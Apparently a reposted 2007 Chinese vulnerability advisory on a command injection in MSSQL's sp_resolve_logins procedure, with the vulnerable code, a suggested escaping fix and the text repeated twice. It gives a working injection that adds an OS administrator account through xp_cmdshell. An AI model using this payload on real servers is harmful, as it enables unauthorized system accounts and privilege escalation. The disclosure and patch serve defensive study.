MSSQL自身存儲(chǔ)過程的一個(gè)注入漏洞
更新時(shí)間:2007年12月06日 23:16:29 作者:
Infos: MSSQL自身存儲(chǔ)過程的一個(gè)注入
Author: 瘋子[BCT]
Date: 10/11/2007
我看到MSSQL的存儲(chǔ)過程中,有模有樣的在過濾。 然后我就去讀讀他們的存儲(chǔ)過程。就找到了一個(gè)注入而已。
瘋子如是說。
漏洞資料如下:
master..sp_resolve_logins存儲(chǔ)過程中,對(duì)@dest_path參數(shù)過濾不嚴(yán),導(dǎo)致xp_cmdshell注入。
分析:
SELECT @dest_path = RTRIM(LTRIM(@dest_path))
-- If the last char is '\', remove it.
IF substring(@dest_path, len(@dest_path),1) = '\'
SELECT @dest_path = substring(@dest_path, 1, len(@dest_path)-1)
-- Don't do validation if it is a UNC path due to security problem.
-- If the server is started as a service using local system account, we
-- don't have access to the UNC path.
IF substring(@dest_path, 1,2) <> '\\'
BEGIN
SELECT @command = 'dir "' + @dest_path + '"'
exec @retcode = master..xp_cmdshell @command, 'no_output'
IF @@error <> 0
RETURN (1)
IF @retcode <> 0
BEGIN
raiserror (14430, 16, -1, @dest_path)
RETURN (1)
END
END
master..sp_resolve_logins存儲(chǔ)過程 在這一段,經(jīng)過一定的判斷,對(duì) @dest_path 進(jìn)行了一定的過濾。
但是沒有過濾"(雙引號(hào))導(dǎo)致了 xp_cmdshell執(zhí)行任意SQL語句
測(cè)試代碼:
EXEC sp_resolve_logins 'text', 'e:\asp\"&net user admina admin /add&net localgroup administrators admina /add&dir "e:\asp', '1.asp'
執(zhí)行上述MSSQL語句,成功添加了一個(gè)名為admina的系統(tǒng)帳號(hào)
但是此存儲(chǔ)過程代碼中經(jīng)過判斷,需要系統(tǒng)systemadmin權(quán)限的帳號(hào)。
瘋子提供了一個(gè)給其打補(bǔ)丁的方法:
用函數(shù)fn_escapecmdshellsymbolsremovequotes把@dest_path過濾就OK了。如:
SELECT @dest_path = RTRIM(LTRIM(fn_escapecmdshellsymbolsremovequotes(@dest_path))) ,這樣就不會(huì)產(chǎn)生注入了。
Author: 瘋子[BCT]
Date: 10/11/2007
我看到MSSQL的存儲(chǔ)過程中,有模有樣的在過濾。 然后我就去讀讀他們的存儲(chǔ)過程。就找到了一個(gè)注入而已。
瘋子如是說。
漏洞資料如下:
master..sp_resolve_logins存儲(chǔ)過程中,對(duì)@dest_path參數(shù)過濾不嚴(yán),導(dǎo)致xp_cmdshell注入。
分析:
復(fù)制代碼 代碼如下:
SELECT @dest_path = RTRIM(LTRIM(@dest_path))
-- If the last char is '\', remove it.
IF substring(@dest_path, len(@dest_path),1) = '\'
SELECT @dest_path = substring(@dest_path, 1, len(@dest_path)-1)
-- Don't do validation if it is a UNC path due to security problem.
-- If the server is started as a service using local system account, we
-- don't have access to the UNC path.
IF substring(@dest_path, 1,2) <> '\\'
BEGIN
SELECT @command = 'dir "' + @dest_path + '"'
exec @retcode = master..xp_cmdshell @command, 'no_output'
IF @@error <> 0
RETURN (1)
IF @retcode <> 0
BEGIN
raiserror (14430, 16, -1, @dest_path)
RETURN (1)
END
END
master..sp_resolve_logins存儲(chǔ)過程 在這一段,經(jīng)過一定的判斷,對(duì) @dest_path 進(jìn)行了一定的過濾。
但是沒有過濾"(雙引號(hào))導(dǎo)致了 xp_cmdshell執(zhí)行任意SQL語句
測(cè)試代碼:
EXEC sp_resolve_logins 'text', 'e:\asp\"&net user admina admin /add&net localgroup administrators admina /add&dir "e:\asp', '1.asp'
執(zhí)行上述MSSQL語句,成功添加了一個(gè)名為admina的系統(tǒng)帳號(hào)
但是此存儲(chǔ)過程代碼中經(jīng)過判斷,需要系統(tǒng)systemadmin權(quán)限的帳號(hào)。
瘋子提供了一個(gè)給其打補(bǔ)丁的方法:
復(fù)制代碼 代碼如下:
用函數(shù)fn_escapecmdshellsymbolsremovequotes把@dest_path過濾就OK了。如:
SELECT @dest_path = RTRIM(LTRIM(fn_escapecmdshellsymbolsremovequotes(@dest_path))) ,這樣就不會(huì)產(chǎn)生注入了。
相關(guān)文章
網(wǎng)友舉報(bào):屁屁寬頻軟件自帶木馬病毒(圖)
網(wǎng)友舉報(bào):屁屁寬頻軟件自帶木馬病毒(圖)...2007-01-01為動(dòng)網(wǎng)論壇添加一個(gè)密碼嗅探器(DVBBS)
為動(dòng)網(wǎng)論壇添加一個(gè)密碼嗅探器(DVBBS)...2007-01-01